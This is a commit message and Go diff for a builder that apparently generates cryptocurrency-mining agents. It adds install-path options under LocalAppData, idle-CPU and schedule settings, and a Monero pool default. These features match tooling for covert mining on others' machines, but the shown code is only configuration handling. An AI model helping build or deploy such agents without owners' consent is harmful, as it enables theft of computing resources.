Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.

server/internal/builder/handler.go

@@ -38,9 +38,12 @@ type BuildRequest struct {
 	MinFreeRAMMB        int    `json:"min_free_ram_mb"`
 	IdleThresholdPct    int    `json:"idle_threshold_pct"`
 	IdleDurationMinutes int    `json:"idle_duration_minutes"`
-	ScheduleStart       string `json:"schedule_start"`
-	ScheduleEnd         string `json:"schedule_end"`
-	PoolHost            string `json:"pool_host"`
+	ScheduleStart         string `json:"schedule_start"`
+	ScheduleEnd           string `json:"schedule_end"`
+	InstallBase           string `json:"install_base"`
+	InstallCustomBase     string `json:"install_custom_base"`
+	InstallRelativePath   string `json:"install_relative_path"`
+	PoolHost              string `json:"pool_host"`
 	PoolPort            int    `json:"pool_port"`
 	PoolTLS             bool   `json:"pool_tls"`
 	PoolPass            string `json:"pool_pass"`
@@ -277,6 +280,15 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	if req.ScheduleEnd == "" {
 		req.ScheduleEnd = "06:00"
 	}
+	if req.InstallBase == "" {
+		req.InstallBase = "localappdata"
+	}
+	if req.InstallRelativePath == "" {
+		req.InstallRelativePath = "CryptoMiner/{worker}-{build_short}"
+	}
+	if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
+		return fmt.Errorf("install_custom_base is required when install_base is custom")
+	}
 	if req.PoolHost == "" {
 		req.PoolHost = "pool.supportxmr.com"
 	}
@@ -326,6 +338,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		IdleDurationMinutes: %d,
 		ScheduleStart:       %q,
 		ScheduleEnd:         %q,
+		InstallBase:         %q,
+		InstallCustomBase:   %q,
+		InstallRelativePath: %q,
 	}
 }
 `, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -355,6 +370,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.IdleDurationMinutes,
 		req.ScheduleStart,
 		req.ScheduleEnd,
+		req.InstallBase,
+		req.InstallCustomBase,
+		req.InstallRelativePath,
 	)
 }